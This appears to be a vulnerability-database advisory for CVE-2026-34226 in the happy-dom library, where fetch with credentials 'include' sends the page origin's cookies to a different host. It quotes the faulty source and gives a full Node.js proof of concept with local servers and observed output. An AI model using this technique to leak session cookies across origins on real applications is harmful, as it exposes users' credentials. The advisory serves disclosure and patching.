Deploy autonomous AI agents that reason, exploit, and validate complex vulnerability chains — not another scanner, an agentic system that thinks like a senior pentester.
CVE-2026-34226 is a high severity vulnerability with a CVSS score of 7.5. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.
In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:
const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
originURL,
false
);
Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).
const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');
async function listen(server, host) {
return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}
async function run() {
let observedCookieHeader = null;
const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';
console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
console.log('Setup:');
console.log(` Page Origin Host : ${pageHost}`);
console.log(` Request Target Host: ${apiHost}`);
console.log(' (both resolve to 127.0.0.1 via public wildcard DNS)');
console.log('');
await dns.lookup(pageHost);
await dns.lookup(apiHost);
const pageServer = http.createServer((req, res) => {
res.writeHead(200, { 'content-type': 'text/plain' });
res.end('page host');
});
const apiServer = http.createServer((req, res) => {
observedCookieHeader = req.headers.cookie || '';
const origin = req.headers.origin || '';
res.writeHead(200, {
'content-type': 'application/json',
'access-control-allow-origin': origin,
'access-control-allow-credentials': 'true'
});
res.end(JSON.stringify({ ok: true }));
});
const pagePort = await listen(pageServer, '127.0.0.1');
const apiPort = await listen(apiServer, '127.0.0.1');
const browser = new Browser();
try {
const context = browser.defaultContext;
// Page host: pageHost (local DNS)
const page = context.newPage();
page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';
// Target host: apiHost (local DNS)
const apiSeedPage = context.newPage();
apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';
// Trigger cross-host request with credentials.
const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
credentials: 'include'
});
await res.text();
const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');
console.log('Expected:');
console.log(' Request to target host should include "api_cookie=API_ONLY".');
console.log(' Request should NOT include "page_cookie=PAGE_ONLY".');
console.log('');
console.log('Actual:');
console.log(` request cookie header: "${observedCookieHeader || '(empty)'}"`);
console.log(` includes page_cookie: ${leakedPageCookie}`);
console.log(` includes api_cookie : ${expectedApiCookie}`);
console.log('');
if (leakedPageCookie && !expectedApiCookie) {
console.log('Result: VULNERABLE behavior reproduced.');
process.exitCode = 0;
} else {
console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');
process.exitCode = 1;
}
} finally {
await browser.close();
pageServer.close();
apiServer.close();
}
}
run().catch((error) => {
console.error(error);
process.exit(1);
});
Environment:
happy-dom 20.6.1*.127.0.0.1.nip.ioReproduction steps:
page_cookie=PAGE_ONLY on a.127.0.0.1.nip.ioapi_cookie=API_ONLY on b.127.0.0.1.nip.iocredentials: "include"Cookie header received by the target hostExpected:
api_cookie=API_ONLYpage_cookie=PAGE_ONLYActual (observed):
page_cookie=PAGE_ONLYapi_cookie=API_ONLYObserved output:
=== PoC: Wrong Cookie Source URL in credentials:include ===
Setup:
Page Origin Host : a.127.0.0.1.nip.io
Request Target Host: b.127.0.0.1.nip.io
(both resolve to 127.0.0.1 via public wildcard DNS)
Expected:
Request to target host should include "api_cookie=API_ONLY".
Request should NOT include "page_cookie=PAGE_ONLY".
Actual:
request cookie header: "page_cookie=PAGE_ONLY"
includes page_cookie: true
includes api_cookie : false
Result: VULNERABLE behavior reproduced.
Cross-origin sensitive information disclosure (cookie leakage).
Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.
| Vendor | Product |
|---|---|
| Capricorn86 | Happy Dom |
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.